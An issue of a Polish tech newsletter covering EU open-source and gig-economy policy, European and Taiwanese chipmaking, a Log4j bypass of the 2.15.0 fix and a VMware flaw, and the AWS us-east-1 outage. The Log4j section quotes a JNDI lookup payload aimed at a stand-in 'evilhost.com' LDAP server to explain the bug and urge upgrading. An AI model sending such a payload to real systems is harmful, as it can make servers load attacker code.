Software Craftsmanship Saturday vol. 68 - Świat (UE, Taiwan), Log4Shell oraz AWS

1. #CoNaŚwiecie – Unia Europejska i Tajwan 🇪🇺🇹🇼

Dawno nie mieliśmy naszej sekcji geopolitycznej, co nie oznacza, że na styku polityki i technologii nic się ciekawego nie wydarzyło.

Zacznijmy od wiadomości na poziomie tych z serwisów plotkarsko-obyczajowych. Internet oszalał z radości gdy dowiedział się, że nowy minister ds. eGov (odpowiednika naszego ministra cyfryzacji) w Bułgarii to zajmujący 40. miejsce w rankingu Stack Overflow założyciel blockchainowego startupu zajmującego się cyberbezpieczeństwem. Oczywiście, nie oznacza to od razu, że będzie sprawnym politykiem ale…

Dodatkowo, należy pamiętać, że Bułgaria jest obecnie w dużym kryzysie politycznym, w tym roku już trzy razy miała wybory powszechne, może się więc okazać, że jak szybko Pan @Bozho ministrem został, tak szybko może przestać nim być. Trzymam kciuki, żeby ten eksperyment się udał – może pociągnie za sobą tego typu ruchy, jest coś realnie fascynującego w czytaniu, że jeszcze w 2017 pan minister robił za kontraktora w Tom Tomie.. Ja bym widział np. @konieczny na takim stanowisku, kwestią pozostaje, czy w naszym obecnym rządzie… 🙈

Rozszerzmy sobie “scope” z Bułgarii na całą Unię Europejską, bo ta podjęła ostatnio kilka istotnych decyzji.

Badania Komisji Europejska wykazały, że inwestycje w oprogramowanie typu open source zapewniają średnio czterokrotnie wyższe zwroty kapitału, dlatego przyjęła nowe przepisy dotyczące oprogramowania open source. Od teraz publikacja kodu źródłowego oprogramowania rozwijanego przez komisję ma być możliwa w znacznie krótszym czasie i z mniejszą ilością papierkowej roboty. Brzmi dość miałko, ale każdy kto przechodził przez próbę otwarcia kodu, który napisał dla jakiejś większej firmy wie, że jest to niejednokrotnie zadanie bardzo karkołomne. Jest nadzieja, że programiści pracujący w Brukseli będą mieli łatwiej. Sam raport ma ponad 300 stron, ale znajduje się w nim też zaskakująco interesujące, paro-stronicowe Executive Summary.

To jednak nie koniec – ostatnio UE strzela jak karabin zapowiedziami zahaczającymi o branżę IT. Komisja Europejska zapowiedziała bowiem ponadpaństwowe regulacje dotyczące tak zwanej Gig-Economy, czyli szeroko pojętej “uberyzacji” biznesu. Działanie to jest podyktowane uwspólnieniem praw wprowadzanych przez poszczególne kraje członkowskie Innym przykładem działania komisji jest przedłużenie obecnych, chyba najbardziej prokonsumenckich na świecie, zasad działania roamingu aż do roku 2032. Wprawadzie z jeżdżeniem na delegacje czy wakację teraz trochę trudniej, ale liczę, że przez 10 lat sytuacja nieco się ustabilizuje (naiwniak).

Ale żeby nie było że ta nasza Unia jakaś za skuteczna, w niektórych aspektach Europa ma wręcz egzystencjalne problemy. Taką kwestią jest min, produkcja procesorów. Nie jesteśmy w tym odosobnieni, cały świat zmaga się z niedoborem specjalistów w tej dziedzinie. Przedstawiciele UE zaczęli już jednak publicznie przyznawać, że osiągnięcie niezależności w tej krytycznej z punktu strategicznego dziedzinie jest wizją na ten moment “nierealistyczną”. Europa chce się skupić w związku z tym w produkcji rozwiązań w starszych procesach technologicznych (np. 14 nm), który lepiej odpowiada na potrzeby np. rynku automotive czy IoT, niż rozwiązania bardzo nowoczesne. Pamiętajmy bowiem jak bardzo wyżyłowany są obecnie rozwiązania dostępne na rynku. IBM pokazał w tym roku, eksperymentalne procesory w technologii 2 nm, a parę dni temu miał wspólną konferencję prasową z Samsungiem, gdzie pokazali rozwiązania mające na celu olbrzymią redukcję poboru prądu przez mobilne CPU. Tajwańskie TSMC również zapowiedziało, że zamierza w najbliższych latach komercjalizację 3 nm oraz 2 nm procesu wytwórczego.

Co tak wszyscy się rzucają na tą minimalizacje procesorów…

I to właśnie TSMC poświęcimy ostatnią wiadomość w tej sekcji. Nie zaskoczy nikogo wiadomość, że od dłuższego czasu Stany Zjednoczone pozostają w stanie wojny handlowej z Chinami. Jednym z oręży, które się w niej używa, jest właśnie technologia produkcji procesorów. Dlatego też działania Tajwanu są pod tym względem tak interesujące. Jak donosi Asia Times, TSMC zamierza stworzyć własną linie produkcyjną maszyn do wytwarzania chipów, co ma na celu uzależnienie się od polityki zachodu w tej kwestii – obecne używane przez nich rozwiązania pochodzą z USA. Dzięki temu uzyskają oni większą niezależność i będą mieli potencjalnie możliwość dalszego brania udziału w wymianie handlowej z Chinami, uniezależniając się od polityki wprowadzanej w USA. To na razie małe ruchy, ale pokazują jak skomplikowanym mariażem jest ten polityki i biznesu.

Źródła

2. Nowe problemy z Log4Shell, dokłada się też VMWare 🚨

Ostatni tydzień stał zdecydowanie pod znakiem problemów z Log4J. Całą sprawę opisaliśmy dość gruntownie w edycji wtorkowej, do której zapraszam, ale w ciągu parę ostatnich dni pojawiło się trochę aktualizacji, które chcielibyśmy Wam przekazać.

Jeżeli jedna podatność to za mało, to już po publikacji naszego przeglądu, we wtorek pojawiła się kolejna. Początkowo uznana za małe zagrożenie (3.7 w skali CVSS), po głębszej analizie okazała się “krytycznym” 9.0.

Jak działa nowa podatność? Wersja 2.15.0 wyłączyła automatyczne rozwiązywanie zewnętrznych adresów JNDI i pobieranie ich zawartości, co wydawało się na tamten moment być wystarczającą mitygacją problemu. Wraz z dalszymi testami, okazało się że możliwe jest jednak wywołanie podatności poprzez spreparowanie wiadomości w logach w następujący sposób ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}
. Choć procesowanie URL w Javie prawidłowo ucina część #evilhost.com, to procesor JNDI/LDAP rozwiązuje ciąg znaków pełnej nazwy hosta i dalej próbuje połączyć się ze złośliwym serwerem LDAP. Użytkownikom Log4j zdecydowanie zaleca się ponowny proces aktualizacji, tym razem do najnowszej wersji 2.16.0, która domyślnie zupełnie wyłącza JNDI również do zasobów lokalnych

Humor szczepionkowy się nas trzyma – ale jakbym miał spędzić drugi weekend z rzędu na patchowaniu maszynek, też bym został chyba anty upgradowcem.

Jednak, żeby nie było, że tylko Log4J taki zły – krytyczna (9.1 w skali CVSS) podatność znaleziona została również w oprogramowaniu firmy VMWare. Okazuje się że ich produkt Workspace ONE Unified Endpoint Management, służący do korporacyjnego zarządzania flotą urządzeń jak służbowe laptopy czy telefony, posiada paskudną podatność. Umożliwia ona spreparowanej wiadomości w taki sposób, że zupełnie omija ona procesy autoryzacyjne i daje dostęp do wspomnianego powyżejsz firmowego hardware. Patch jest już udostępniony, ale jak się okazuje sama podatność istniała w systemie już od 2008.

Ciekawe ile jeszcze takich niespodzianek branża znajdzie w najbliższych tygodniach.

Źródła

3. AWS płonął, a z nim płonął cały świat 🔥

A na koniec – żeby utrzymać katastroficzny charakter tego przeglądu – będzie o spektakularnych problemach AWSa z zeszłego i tego tygodnia.

Kiedy Amazon płonie, cały świat lata z gaśnicą – tak było i tym razem. Gdy 7 grudnia na prawie siedem godzin padł główny region AWSa – Northern Virginia (us-east-1) – doszło do zniknięcia z sieci takich stron i usług jak Disney+, League of Legends, Tinder, Instacart, Venmo, Robinhood, Roku, Kindle, czy McDonalds. Co ciekawe, problemy mieli również pracownicy magazynów Amazona, a działa strona status.aws.com nie pokazywała żadnych problemów, mimo, że wszystko naokoło płonęło.

W tym tygodniu doszło do kolejnej awarii, ale ta była już mniejsza w swoich skutkach.

Co poszło nie tak? AWS twierdzi, że przyczyną były problemy w wewnętrznym procesie Auto-skalowania ich własnej infrastruktury i jako metodę mitygacji zdecydowali się wyłączyć ten proces do rozwiązania wszelkich problemów. Pokazuje to nam, maluczkim, że autoskala to zabawka, którą łatwo się skaleczyć. Pewnie przeszedłbym nad tym wyjaśnieniem do porządku dziennego, ale nieoceniony Corey Quinn opublikował “Lessons in Trust From us-east-1”. Artykuł przedstawia, jak wiele niejasności i wątpliwości pozostawia powyższa publikacja, sugerując, że AWS tak naprawdę nie ma najmniejszego pojęcia co się naprawdę wydarzyło.

W artykule (i podcaście) znajdziecie ponadto, jak uważnym trzeba być przy tworzeniu strategii failoveru na inne regiony AWS w wypadku tego typu awarii. Okazuje się bowiem, że kiedy AWS leży, taki np. Route53 może nie umożliwiać łatwego przepięcia między instancjami.

Software Craftsmanship Saturday vol. 68 – Świat (UE, Taiwan), Log4Shell oraz AWS

1. #CoNaŚwiecie – Unia Europejska i Tajwan 🇪🇺🇹🇼

Źródła

2. Nowe problemy z Log4Shell, dokłada się też VMWare 🚨

Źródła

3. AWS płonął, a z nim płonął cały świat 🔥

Źródła

Odkryj więcej świetnych treści!